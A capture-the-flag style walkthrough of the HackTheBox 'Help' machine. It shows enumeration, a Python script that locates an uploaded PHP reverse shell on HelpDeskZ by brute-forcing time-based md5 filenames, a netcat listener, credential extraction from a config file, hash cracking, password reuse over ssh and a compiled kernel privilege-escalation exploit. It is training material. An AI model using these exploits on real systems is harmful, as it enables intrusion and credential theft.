Help
08/06/2019
Help is a pretty easy box where to get a shell as user, we will need to do some code reviewing to make a public exploit work. Then, to escalate privileges we'll be using a kernel exploit to get root.
User
To start, run nmap
to list open ports. We have 22/ssh
, 80/http
and 3000/http
.
root@kali:~/htb/help# nmap -sC -sV 10.10.10.121 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-20 15:33 UTC Nmap scan report for 10.10.10.121 Host is up (0.43s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We'll start inspecting port 80
, running gobuster
to find some web content.
root@kali:~/htb/help# /opt/gobuster/gobuster -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.121/ ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.121/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirb/common.txt [+] Status codes : 200,204,301,302,307,403 [+] Timeout : 10s ===================================================== 2019/02/20 15:48:06 Starting gobuster ===================================================== /.hta (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /index.html (Status: 200) /javascript (Status: 301) /server-status (Status: 403) /support (Status: 301) ===================================================== 2019/02/20 15:49:05 Finished =====================================================
If we go to /support
we can find a helpdeskz
site.
Let's look for exploits for this application.
root@kali:~/htb/help# searchsploit helpdeskz ----------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ----------------------------------------------------------------------------------------- ---------------------------------------- HelpDeskZ 1.0.2 - Arbitrary File Upload | exploits/php/webapps/40300.py HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download | exploits/php/webapps/41200.py ----------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result
I decided to use HelpDeskZ 1.0.2 - Arbitrary File Upload
which allows us to upload a malicious php file via the ticketing system and execute it.
After some tries I didn't make the exploit work, the first reason was I was getting a File is not allowed error when attaching php files, so I decided to look into HelpDeskZ code in github to understand what was really happening.
The vulnerable portion of code is in controllers/submit_ticket_controller.php#137
.
if(!isset($error_msg) && $settings['ticket_attachment']==1){ $uploaddir = UPLOAD_DIR.'tickets/'; if($_FILES['attachment']['error'] == 0){ $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION); $filename = md5($_FILES['attachment']['name'].time()).".".$ext; $fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']); $uploadedfile = $uploaddir.$filename; if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) { $show_step2 = true; $error_msg = $LANG['ERROR_UPLOADING_A_FILE']; }else{ $fileverification = verifyAttachment($_FILES['attachment']); switch($fileverification['msg_code']){ case '1': $show_step2 = true; $error_msg = $LANG['INVALID_FILE_EXTENSION']; break; case '2': $show_step2 = true; $error_msg = $LANG['FILE_NOT_ALLOWED']; break; case '3': $show_step2 = true; $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']); break; } } }
Here we can see three things which are important to make the exploit work:
- Even getting an error message, the file is uploaded.
- The file is being uploaded to
UPLOAD_DIR.'tickets/'
. - The system is using
time()
to encode the filenames.
Inspecting the response headers for any request we can see a Date
header which gives us the exact time of the server which we'll need for the exploit.
root@kali:~/htb/help# curl -v http://10.10.10.121/support * Trying 10.10.10.121... * TCP_NODELAY set * Connected to 10.10.10.121 (10.10.10.121) port 80 (#0) > GET /support HTTP/1.1 > Host: 10.10.10.121 > User-Agent: curl/7.62.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < Date: Thu, 21 Feb 2019 16:30:11 GMT < Server: Apache/2.4.18 (Ubuntu) < Location: http://10.10.10.121/support/ < Content-Length: 314 < Content-Type: text/html; charset=iso-8859-1
From the public exploit I made my own version with the things I found on the code. Here you can write directly the datetime the file was uploaded, instead of using the current time.
import hashlib from datetime import datetime import requests time = int(datetime(2019,02,21,16,32).strftime('%s')) myfilename = 'caca.php' for x in range(150): filename = hashlib.md5(myfilename + str(time - x)).hexdigest() + '.php' url = "http://10.10.10.121/support/uploads/tickets/" + filename r = requests.get(url) if r.ok: print url break
After sending the ticket request with an attached php file with a reverse shell, run the script and we should get the URL where the file was uploaded.
root@kali:~/htb/help# python findme.py http://10.10.10.121/support/uploads/tickets/ebb6f4fb991cc6d01e64eada92e43d35.php
If we listen on the specified port and enter on the obtained path we get a shell as help
.
root@kali:~/htb/help# nc -nlvp 6969 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 10.10.10.121. Ncat: Connection from 10.10.10.121:45154. Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 08:27:22 up 26 min, 1 user, load average: 0.10, 0.19, 0.23 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT help pts/2 10.10.12.236 08:25 2.00s 0.08s 0.01s more uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare) /bin/sh: 0: can't access tty; job control turned off $
Upgrade the shell with python
.
$ python -c 'import pty;pty.spawn("/bin/bash")' help@help:/$
The user flag is in help
home directory.
help@help:/home/help$ cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
If we search through helpdeskz
code we can see the database credentials.
help@help:/var/www/html/support/includes$ cat config.php cat config.php <?php $config['Database']['dbname'] = 'support'; $config['Database']['tableprefix'] = ''; $config['Database']['servername'] = 'localhost'; $config['Database']['username'] = 'root'; $config['Database']['password'] = 'helpme'; $config['Database']['type'] = 'mysqli'; ?>
Connect to the mysql
db with the obtained credentials to see what's in there.
help@help:/var/www/html/support$ mysql -u root -phelpme mysql -u root -phelpme mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4439 Server version: 5.7.24-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
Let's see what's in support
database.
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | support | | sys | +--------------------+ 5 rows in set (0.01 sec) mysql> use support; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; show tables; +------------------------+ | Tables_in_support | +------------------------+ | articles | | attachments | | canned_response | | custom_fields | | departments | | emails | | error_log | | file_types | | knowledgebase_category | | login_attempt | | login_log | | news | | pages | | priority | | settings | | staff | | tickets | | tickets_messages | | users | +------------------------+ 19 rows in set (0.01 sec)
In the staff
table there's an admin hashed password.
mysql> select * from staff; select * from staff; +----+----------+------------------------------------------+---------------+--------------------+------------+------------+--------------------+----------+------------------------------+------------------------+--------+-------+--------+ | id | username | password | fullname | email | login | last_login | department | timezone | signature | newticket_notification | avatar | admin | status | +----+----------+------------------------------------------+---------------+--------------------+------------+------------+--------------------+----------+------------------------------+------------------------+--------+-------+--------+ | 1 | admin | d318f44739dced66793b1a603028133a76ae680e | Administrator | support@mysite.com | 1547216217 | 1543429746 | a:1:{i:0;s:1:"1";} | | Best regards, Administrator | 0 | NULL | 1 | Enable | +----+----------+------------------------------------------+---------------+--------------------+------------+------------+--------------------+----------+------------------------------+------------------------+--------+-------+--------+ 1 row in set (0.00 sec)
Use john
to crack it.
root@kali:~/htb/help# john pass --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1 Welcome1 (admin)
It turns out help
user is using the same password, so now we can connect through ssh
.
root@kali:~/htb/help# ssh help@10.10.10.121 help@10.10.10.121's password: Welcome1 Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage You have new mail. Last login: Fri Jan 11 06:18:50 2019 help@help:~$
Let's print the system information.
help@help:/tmp$ uname -a Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
We have a privilege escalation vulnerability in this kernel version.
root@kali:~/htb/help# searchsploit 4.4.0-116 ----------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ----------------------------------------------------------------------------------------- ---------------------------------------- Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c ----------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result
Compile the exploit code and run it to obtain a root shell.
help@help:/tmp$ gcc 44298.c -o priv help@help:/tmp$ ./priv task_struct = ffff8800369f7000 uidptr = ffff88002c31d744 spawning root shell root@help:/tmp#
The flag is in root's directory.
root@help:/root# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Bonus
In the port scan we also saw the port 3000 was open, this Express server is hosting some kind of API.
root@kali:~/htb/help# curl http://10.10.10.121:3000/ {"message":"Hi Shiv, To get access please find the credentials with given query"}
I used many wordlists and didn't found anything, so I ended searching in Google that message and I encountered this pastebin where it shows this is a graphql
API (I don't think this was the intended way).
root@kali:~/htb/help# curl http://10.10.10.121:3000/graphql GET query missing.
After some tries I managed to retrieve the user an its hashed password.
root@kali:~/htb/help# curl -X POST -H "content-type":"application/json" -d '{"query": "query { user{username} }"}' http://10.10.10.121:3000/graphql {"data":{"user":{"username":"helpme@helpme.com"}}} root@kali:~/htb/help# curl -X POST -H "content-type":"application/json" -d '{"query": "query { user{password} }"}' http://10.10.10.121:3000/graphql {"data":{"user":{"password":"5d3c93182bb20f07b994a7f617e99cff"}}}
Using any md5 decrypt tool we can retrieve the password.
5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz
We can use those credentials (helpme@helpme.com/godhelpmeplz
) to login into helpdesk, but as the exploit works with an unauthenticated user it isn't really necessary.